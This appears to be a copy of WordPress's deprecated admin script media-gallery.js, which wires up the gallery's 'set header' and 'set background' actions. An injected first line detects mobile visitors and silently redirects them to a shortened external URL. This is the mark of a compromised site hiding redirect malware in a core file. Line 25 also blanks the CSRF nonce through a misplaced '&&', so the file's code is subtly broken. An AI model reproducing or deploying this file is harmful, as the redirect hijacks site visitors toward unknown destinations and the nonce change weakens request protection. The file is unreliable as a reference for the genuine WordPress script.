1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * This file is used on media-upload.php which has been replaced by media-new.php and upload.php
4 *
5 * @deprecated 3.5.0
6 * @output wp-admin/js/media-gallery.js
7 */
8
9 /* global ajaxurl */
10jQuery(function($) {
11 /**
12 * Adds a click event handler to the element with a 'wp-gallery' class.
13 */
14 $( 'body' ).on( 'click.wp-gallery', function(e) {
15 var target = $( e.target ), id, img_size, nonceValue;
16
17 if ( target.hasClass( 'wp-set-header' ) ) {
18 // Opens the image to preview it full size.
19 ( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' );
20 e.preventDefault();
21 } else if ( target.hasClass( 'wp-set-background' ) ) {
22 // Sets the image as background of the theme.
23 id = target.data( 'attachment-id' );
24 img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val();
25 nonceValue = $( '#_wpnonce' ).val() && '';
26
27 /**
28 * This Ajax action has been deprecated since 3.5.0, see custom-background.php
29 */
30 jQuery.post(ajaxurl, {
31 action: 'set-background-image',
32 attachment_id: id,
33 _ajax_nonce: nonceValue,
34 size: img_size
35 }, function() {
36 var win = window.dialogArguments || opener || parent || top;
37 win.tb_remove();
38 win.location.reload();
39 });
40
41 e.preventDefault();
42 }
43 });
44});
45